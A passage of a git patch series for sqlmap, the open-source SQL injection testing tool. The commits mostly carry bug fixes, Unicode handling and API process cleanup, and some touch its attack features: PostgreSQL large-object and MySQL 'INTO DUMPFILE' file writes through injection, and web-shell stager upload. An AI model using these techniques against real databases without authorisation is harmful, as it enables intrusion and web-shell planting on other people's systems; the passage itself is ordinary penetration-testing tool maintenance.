"LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: - lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid + lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") @@ -105,20 +105,27 @@ class Filesystem: return sqlQueries - def fileEncode(self, fileName, encoding, single): + def fileEncode(self, fileName, encoding, single, chunkSize=256): """ Called by MySQL and PostgreSQL plugins to write a file on the back-end DBMS underlying file system """ - retVal = [] with open(fileName, "rb") as f: - content = f.read().encode(encoding).replace("\n", "") + content = f.read() + + return self.fileContentEncode(content, encoding, single, chunkSize) + + def fileContentEncode(self, content, encoding, single, chunkSize=256): + retVal = [] + + if encoding: + content = content.encode(encoding).replace("\n", "") if not single: - if len(content) > 256: - for i in xrange(0, len(content), 256): - _ = content[i:i + 256] + if len(content) > chunkSize: + for i in xrange(0, len(content), chunkSize): + _ = content[i:i + chunkSize] if encoding == "hex": _ = "0x%s" % _ From ff6b62adf3a2903fcec19327986b716a385f159a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 Jul 2015 15:15:41 +0200 Subject: [PATCH 40/88] Important additional patch for #1170 (for PgSQL >= 9.0) --- plugins/dbms/postgresql/filesystem.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index d3bc2516e..72cf7c75f 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -53,6 +53,8 @@ class Filesystem(GenericFilesystem): # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html inject.goStacked("SELECT lo_unlink(%d)" % self.oid) + inject.goStacked("SELECT lo_create(%d)" % self.oid) + inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid) for offset in xrange(0, wFileSize, LOBLKSIZE): fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False) From 314df093f17efa04283995fc28f96e1ba6262f88 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 26 Jul 2015 16:06:01 +0200 Subject: [PATCH 41/88] Fixes #1314 --- lib/request/connect.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 7b05f8385..e1d4fc6b6 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -575,7 +575,7 @@ class Connect(object): debugMsg = "got HTTP error code: %d (%s)" % (code, status) logger.debug(debugMsg) - except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine, httplib.IncompleteRead, httplib.ResponseNotReady, struct.error, ProxyError, SqlmapCompressionException, WebSocketException), e: + except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine, httplib.IncompleteRead, httplib.ResponseNotReady, httplib.UnknownProtocol, struct.error, ProxyError, SqlmapCompressionException, WebSocketException), e: tbMsg = traceback.format_exc() if "no host given" in tbMsg: From e7af0814474769f00f3b4fe9bd11f3f3112940fe Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 26 Jul 2015 16:08:30 +0200 Subject: [PATCH 42/88] Minor patch --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 44465c7e8..b54a7c41d 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3016,7 +3016,7 @@ def maskSensitiveData(msg): retVal = getUnicode(msg) - for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy"))): + for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile"))): regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item)) while extractRegexResult(regex, retVal): value = extractRegexResult(regex, retVal) From b0bc3149f9ebe0a5c29c4e9d3bc750fd6915f023 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 26 Jul 2015 16:18:41 +0200 Subject: [PATCH 43/88] Fixes #1315 --- lib/core/option.py | 8 ++++++++ lib/request/connect.py | 2 +- 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index b73152469..01976e742 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1685,6 +1685,13 @@ def _cleanupOptions(): threadData = getCurrentThreadData() threadData.reset() +def _dirtyPatches(): + """ + Place for "dirty" Python related patches + """ + + httplib._MAXLINE = 1 * 1024 * 1024 # to accept overly long result lines (e.g. SQLi results in HTTP header responses) + def _purgeOutput(): """ Safely removes (purges) output directory. @@ -2469,6 +2476,7 @@ def init(): _saveCmdline() _setRequestFromFile() _cleanupOptions() + _dirtyPatches() _purgeOutput() _checkDependencies() _createTemporaryDirectory() diff --git a/lib/request/connect.py b/lib/request/connect.py index e1d4fc6b6..8914e6cb0 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -575,7 +575,7 @@ class Connect(object): debugMsg = "got HTTP error code: %d (%s)" % (code, status) logger.debug(debugMsg) - except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine, httplib.IncompleteRead, httplib.ResponseNotReady, httplib.UnknownProtocol, struct.error, ProxyError, SqlmapCompressionException, WebSocketException), e: + except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, ProxyError, SqlmapCompressionException, WebSocketException), e: tbMsg = traceback.format_exc() if "no host given" in tbMsg: From e3553ae8932477d63cc1146fecf1b4f1bdee0c2a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 26 Jul 2015 16:19:44 +0200 Subject: [PATCH 44/88] Missing import --- lib/core/option.py | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/core/option.py b/lib/core/option.py index 01976e742..04cccf4e3 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -9,6 +9,7 @@ import cookielib import glob import inspect import logging +import httplib import os import random import re From 64b45f2ac2699096ffce9482027bf47761978917 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 26 Jul 2015 16:34:11 +0200 Subject: [PATCH 45/88] Fixes #1316 --- plugins/generic/filesystem.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index faf582f5d..0aaae5b83 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -6,6 +6,7 @@ See the file 'doc/COPYING' for copying permission """ import os +import sys from lib.core.agent import agent from lib.core.common import dataToOutFile @@ -13,11 +14,13 @@ from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import decloakToTemp from lib.core.common import decodeHexValue +from lib.core.common import getUnicode from lib.core.common import isNumPosStrValue from lib.core.common import isListLike from lib.core.common import isStackingAvailable from lib.core.common import isTechniqueAvailable from lib.core.common import readInput +from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -62,6 +65,7 @@ class Filesystem: if isNumPosStrValue(remoteFileSize): remoteFileSize = long(remoteFileSize) + localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding()) sameFile = False if localFileSize == remoteFileSize: From 401905b2dd686509278988f8ec279356c79701b7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 26 Jul 2015 17:02:46 +0200 Subject: [PATCH 46/88] Minor improvement to UNION file write --- lib/core/agent.py | 4 +++- lib/core/option.py | 1 + plugins/dbms/mysql/filesystem.py | 5 +++++ 3 files changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 59c361455..556f379a9 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -79,7 +79,9 @@ class Agent(object): retVal = "" - if where is None and isTechniqueAvailable(kb.technique): + if kb.forceWhere: + where = kb.forceWhere + elif where is None and isTechniqueAvailable(kb.technique): where = kb.injection.data[kb.technique].where if kb.injection.place is not None: diff --git a/lib/core/option.py b/lib/core/option.py index 04cccf4e3..dcef83c03 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1795,6 +1795,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.followSitemapRecursion = None kb.forcedDbms = None kb.forcePartialUnion = False + kb.forceWhere = None kb.futileUnion = None kb.headersFp = {} kb.heuristicDbms = None diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 5e10266a9..1bfd8f621 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -7,6 +7,8 @@ See the file 'doc/COPYING' for copying permission from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable +from lib.core.common import popValue +from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import singleTimeWarnMessage from lib.core.data import conf @@ -97,8 +99,11 @@ class Filesystem(GenericFilesystem): debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) + pushValue(kb.forceWhere) + kb.forceWhere = PAYLOAD.WHERE.NEGATIVE sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) unionUse(sqlQuery, unpack=False) + kb.forceWhere = popValue() warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from UNION query" From ba86153d291a2ca3bd116a6a4d66b22c28144919 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Jul 2015 09:33:40 +0200 Subject: [PATCH 47/88] Fixes #1318 --- plugins/dbms/mssqlserver/enumeration.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 12e51a317..9ea67eff9 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -14,6 +14,7 @@ from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import safeStringFormat from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf @@ -136,7 +137,7 @@ class Enumeration(GenericEnumeration): tables = [] for index in xrange(int(count)): - _ = (rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db) % index + _ = safeStringFormat((rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db), index) table = inject.getValue(_, union=False, error=False) if not isNoneValue(table): From 301aca57e61fe04dd964fca0414804c820567092 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 29 Jul 2015 10:00:15 +0200 Subject: [PATCH 48/88] Fixes #1319 --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index b54a7c41d..3ca8dad31 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1102,7 +1102,7 @@ def setPaths(): paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") - _ = os.path.join(os.path.expanduser("~"), ".sqlmap") + _ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap") paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding()) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") From bcb25823e6d03196a605c8876c0737198f98ccdf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 30 Jul 2015 23:19:38 +0200 Subject: [PATCH 49/88] Fixes #1320 --- lib/core/common.py | 4 ++-- lib/core/dump.py | 4 ++-- lib/core/option.py | 2 +- lib/core/replication.py | 2 +- lib/parse/cmdline.py | 2 +- lib/utils/hash.py | 3 ++- plugins/generic/entries.py | 4 ++-- 7 files changed, 11 insertions(+), 10 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 3ca8dad31..5b914b159 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -876,7 +876,7 @@ def dataToOutFile(filename, data): f.write(data) except IOError, ex: errMsg = "something went wrong while trying to write " - errMsg += "to the output file ('%s')" % ex + errMsg += "to the output file ('%s')" % getUnicode(ex) raise SqlmapGenericException(errMsg) return retVal @@ -3662,7 +3662,7 @@ def evaluateCode(code, variables=None): except KeyboardInterrupt: raise except Exception, ex: - errMsg = "an error occurred while evaluating provided code ('%s'). " % ex + errMsg = "an error occurred while evaluating provided code ('%s') " % getUnicode(ex) raise SqlmapGenericException(errMsg) def serializeObject(object_): diff --git a/lib/core/dump.py b/lib/core/dump.py index d3b9cc799..08410602d 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -74,7 +74,7 @@ class Dump(object): try: self._outputFP.write(text) except IOError, ex: - errMsg = "error occurred while writing to log file ('%s')" % ex + errMsg = "error occurred while writing to log file ('%s')" % getUnicode(ex) raise SqlmapGenericException(errMsg) if kb.get("multiThreadMode"): @@ -94,7 +94,7 @@ class Dump(object): try: self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb") except IOError, ex: - errMsg = "error occurred while opening log file ('%s')" % ex + errMsg = "error occurred while opening log file ('%s')" % getUnicode(ex) raise SqlmapGenericException(errMsg) def getOutputFile(self): diff --git a/lib/core/option.py b/lib/core/option.py index dcef83c03..f5edb95b4 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1521,7 +1521,7 @@ def _createTemporaryDirectory(): os.makedirs(tempfile.gettempdir()) except IOError, ex: errMsg = "there has been a problem while accessing " - errMsg += "system's temporary directory location(s) ('%s'). Please " % ex + errMsg += "system's temporary directory location(s) ('%s'). Please " % getUnicode(ex) errMsg += "make sure that there is enough disk space left. If problem persists, " errMsg += "try to set environment variable 'TEMP' to a location " errMsg += "writeable by the current user" diff --git a/lib/core/replication.py b/lib/core/replication.py index b65f818de..c5bbd24cc 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -70,7 +70,7 @@ class Replication(object): try: self.parent.cursor.execute(sql, parameters) except sqlite3.OperationalError, ex: - errMsg = "problem occurred ('%s') while accessing sqlite database " % ex + errMsg = "problem occurred ('%s') while accessing sqlite database " % unicode(ex) errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath errMsg += "it's not used by some other program" raise SqlmapGenericException(errMsg) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 23add4a9d..ef2f535f7 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -862,7 +862,7 @@ def cmdLineParser(): for arg in shlex.split(command): argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) except ValueError, ex: - raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex + raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % getUnicode(ex) # Hide non-basic options in basic help case for i in xrange(len(argv)): diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 123b93ee7..b1459b032 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -44,6 +44,7 @@ from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import getFileItems from lib.core.common import getPublicTypeMembers +from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import normalizeUnicode @@ -769,7 +770,7 @@ def dictionaryAttack(attack_dict): except Exception, ex: warnMsg = "there was a problem while loading dictionaries" - warnMsg += " ('%s')" % ex + warnMsg += " ('%s')" % getUnicode(ex) logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 628f01049..598bf3a01 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -341,13 +341,13 @@ class Entries: attackDumpedTable() except (IOError, OSError), ex: errMsg = "an error occurred while attacking " - errMsg += "table dump ('%s')" % ex + errMsg += "table dump ('%s')" % getUnicode(ex) logger.critical(errMsg) conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException, ex: errMsg = "connection exception detected in dumping phase " - errMsg += "('%s')" % ex + errMsg += "('%s')" % getUnicode(ex) logger.critical(errMsg) finally: From e623ee66ad459fc620e1a815d1e8ce3b55974c0b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 30 Jul 2015 23:29:31 +0200 Subject: [PATCH 50/88] Better approach for #1320 --- lib/controller/checks.py | 2 +- lib/core/common.py | 4 ++-- lib/core/dump.py | 4 ++-- lib/core/option.py | 2 +- lib/parse/cmdline.py | 2 +- lib/parse/configfile.py | 2 +- lib/utils/hash.py | 2 +- plugins/generic/entries.py | 4 ++-- 8 files changed, 11 insertions(+), 11 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 576d20a0f..f4c053ec9 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1298,7 +1298,7 @@ def checkConnection(suppressOutput=False): raise SqlmapConnectionException(errMsg) except socket.error, ex: errMsg = "problem occurred while " - errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getUnicode(ex)) + errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, ex.message) raise SqlmapConnectionException(errMsg) if not suppressOutput and not conf.dummy and not conf.offline: diff --git a/lib/core/common.py b/lib/core/common.py index 5b914b159..6f9303876 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -876,7 +876,7 @@ def dataToOutFile(filename, data): f.write(data) except IOError, ex: errMsg = "something went wrong while trying to write " - errMsg += "to the output file ('%s')" % getUnicode(ex) + errMsg += "to the output file ('%s')" % ex.message raise SqlmapGenericException(errMsg) return retVal @@ -3662,7 +3662,7 @@ def evaluateCode(code, variables=None): except KeyboardInterrupt: raise except Exception, ex: - errMsg = "an error occurred while evaluating provided code ('%s') " % getUnicode(ex) + errMsg = "an error occurred while evaluating provided code ('%s') " % ex.message raise SqlmapGenericException(errMsg) def serializeObject(object_): diff --git a/lib/core/dump.py b/lib/core/dump.py index 08410602d..4401f1742 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -74,7 +74,7 @@ class Dump(object): try: self._outputFP.write(text) except IOError, ex: - errMsg = "error occurred while writing to log file ('%s')" % getUnicode(ex) + errMsg = "error occurred while writing to log file ('%s')" % ex.message raise SqlmapGenericException(errMsg) if kb.get("multiThreadMode"): @@ -94,7 +94,7 @@ class Dump(object): try: self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb") except IOError, ex: - errMsg = "error occurred while opening log file ('%s')" % getUnicode(ex) + errMsg = "error occurred while opening log file ('%s')" % ex.message raise SqlmapGenericException(errMsg) def getOutputFile(self): diff --git a/lib/core/option.py b/lib/core/option.py index f5edb95b4..896446cd0 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1521,7 +1521,7 @@ def _createTemporaryDirectory(): os.makedirs(tempfile.gettempdir()) except IOError, ex: errMsg = "there has been a problem while accessing " - errMsg += "system's temporary directory location(s) ('%s'). Please " % getUnicode(ex) + errMsg += "system's temporary directory location(s) ('%s'). Please " % ex.message errMsg += "make sure that there is enough disk space left. If problem persists, " errMsg += "try to set environment variable 'TEMP' to a location " errMsg += "writeable by the current user" diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index ef2f535f7..154c5d7e3 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -862,7 +862,7 @@ def cmdLineParser(): for arg in shlex.split(command): argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) except ValueError, ex: - raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % getUnicode(ex) + raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message # Hide non-basic options in basic help case for i in xrange(len(argv)): diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 653faefbc..507cce17b 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -73,7 +73,7 @@ def configFileParser(configFile): config = UnicodeRawConfigParser() config.readfp(configFP) except Exception, ex: - errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getUnicode(ex) + errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % ex.message raise SqlmapSyntaxException(errMsg) if not config.has_section("Target"): diff --git a/lib/utils/hash.py b/lib/utils/hash.py index b1459b032..69994d23e 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -770,7 +770,7 @@ def dictionaryAttack(attack_dict): except Exception, ex: warnMsg = "there was a problem while loading dictionaries" - warnMsg += " ('%s')" % getUnicode(ex) + warnMsg += " ('%s')" % ex.message logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 598bf3a01..125aa8226 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -341,13 +341,13 @@ class Entries: attackDumpedTable() except (IOError, OSError), ex: errMsg = "an error occurred while attacking " - errMsg += "table dump ('%s')" % getUnicode(ex) + errMsg += "table dump ('%s')" % ex.message logger.critical(errMsg) conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException, ex: errMsg = "connection exception detected in dumping phase " - errMsg += "('%s')" % getUnicode(ex) + errMsg += "('%s')" % ex.message logger.critical(errMsg) finally: From c5f3c0cc32e2894ac9f0bf1b2f493534c2ce2d99 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Aug 2015 17:21:35 +0200 Subject: [PATCH 51/88] Fixes #1324 --- lib/takeover/web.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 8fab16c3b..40a403dc0 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -263,8 +263,8 @@ class Web: with open(filename, "w+") as f: _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) - _ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) - f.write(utf8encode(_)) + _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) + f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) From 971f59a27eb4e2e7108e88a22889e2f420da3fc5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 4 Aug 2015 10:28:43 +0200 Subject: [PATCH 52/88] Minor update --- sqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqlmap.py b/sqlmap.py index 161aa6727..ad1451556 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -60,7 +60,7 @@ def modulePath(): except NameError: _ = inspect.getsourcefile(modulePath) - return getUnicode(os.path.dirname(os.path.realpath(_)), sys.getfilesystemencoding()) + return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding()) def main(): """ From ce64d9797e7feb2c7006acaba00ac88fef9898a5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 4 Aug 2015 11:10:15 +0200 Subject: [PATCH 53/88] Fixes #1322 --- sqlmap.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/sqlmap.py b/sqlmap.py index ad1451556..6bb12a56f 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -69,6 +69,15 @@ def main(): try: paths.SQLMAP_ROOT_PATH = modulePath() + + try: + os.path.isdir(paths.SQLMAP_ROOT_PATH) + except UnicodeEncodeError: + errMsg = "your system does not properly handle non-ASCII paths. " + errMsg += "Please move the sqlmap's directory to the other location" + logger.error(errMsg) + exit() + setPaths() # Store original command line options for possible later restoration From 62f35698eec8bdee7caf0fd9aed89fc3acc1eb43 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Aug 2015 13:07:16 +0200 Subject: [PATCH 54/88] Bug fix (ML) - when cookies have blank expiration time --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 6f9303876..b72066c64 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3831,7 +3831,7 @@ def resetCookieJar(cookieJar): with open(filename, "w+b") as f: f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES) for line in lines: - _ = line.split() + _ = line.split("\t") if len(_) == 7: _[4] = FORCE_COOKIE_EXPIRATION_TIME f.write("\n%s" % "\t".join(_)) From 1ac27e9305218b98e7cb33080e79ea78d6448db4 Mon Sep 17 00:00:00 2001 From: Jiang Jie Date: Wed, 12 Aug 2015 16:25:33 +0800 Subject: [PATCH 55/88] fixed pipe and zoombie problems 1.we don't need stdin here, and it'll cause OSError: too many openfiles problem. 2. after using /scan/taskid/stop , process turned into a zoombie, need add wait() --- lib/utils/api.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index c007289b5..1db28e7cd 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -155,11 +155,12 @@ class Task(object): def engine_start(self): self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)], - shell=False, stdin=PIPE, close_fds=not IS_WIN) + shell=False, close_fds=not IS_WIN) def engine_stop(self): if self.process: - return self.process.terminate() + self.process.terminate() + return self.process.wait() else: return None @@ -168,7 +169,8 @@ class Task(object): def engine_kill(self): if self.process: - return self.process.kill() + self.process.kill() + return self.process.wait() else: return None From e5863d8b897816afe5cfb1bfc3f7391479b08cc5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 12 Aug 2015 21:40:51 +0200 Subject: [PATCH 56/88] Minor patch --- lib/request/basic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index 41829c0ce..1c88d327d 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -191,7 +191,7 @@ def checkCharEncoding(encoding, warn=True): # Reference: http://philip.html5.org/data/charsets-2.html if encoding in translate: encoding = translate[encoding] - elif encoding in ("null", "{charset}", "*"): + elif encoding in ("null", "{charset}", "*") or not re.search(r"\w", encoding): return None # Reference: http://www.iana.org/assignments/character-sets From 9ad1d122f44b91fcfc9db414506526d59b5c7b31 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 12 Aug 2015 22:09:31 +0200 Subject: [PATCH 57/88] Minor patch (Issue #1327) --- lib/core/option.py | 2 +- lib/core/target.py | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 896446cd0..975969ece 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1846,7 +1846,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.permissionFlag = False kb.postHint = None kb.postSpaceToPlus = False - kb.postUrlEncode = True + kb.postUrlEncode = False kb.prependFlag = False kb.processResponseCounter = 0 kb.previousMethod = None diff --git a/lib/core/target.py b/lib/core/target.py index c1bf921bd..722244944 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -683,10 +683,13 @@ def initTargetEnv(): class _(unicode): pass + kb.postUrlEncode = False + for key, value in conf.httpHeaders: if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper(): kb.postUrlEncode = "urlencoded" in value break + if kb.postUrlEncode: original = conf.data conf.data = _(urldecode(conf.data)) From 8ea8b168b11a4774f9957cb5aca9e43dee40b7c2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 13 Aug 2015 17:10:35 +0200 Subject: [PATCH 58/88] Minor cosmetics --- lib/core/option.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 975969ece..fd2170c14 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2017,10 +2017,10 @@ def _saveCmdline(): config.write(confFP) except IOError, ex: errMsg = "something went wrong while trying " - errMsg += "to write to the configuration INI file '%s' ('%s')" % (paths.SQLMAP_CONFIG, ex) + errMsg += "to write to the configuration file '%s' ('%s')" % (paths.SQLMAP_CONFIG, ex) raise SqlmapSystemException(errMsg) - infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG + infoMsg = "saved command line options to the configuration file '%s'" % paths.SQLMAP_CONFIG logger.info(infoMsg) def setVerbosity(): From 2c1cde0f596fa27fcde00d2f351ee9c439655125 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 13 Aug 2015 17:21:36 +0200 Subject: [PATCH 59/88] Minor fix (reported over ML - ignore saving of conf.saveCmdline) --- lib/core/option.py | 4 ++++ lib/core/settings.py | 3 +++ 2 files changed, 7 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index fd2170c14..52ffeeb46 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -107,6 +107,7 @@ from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORT from 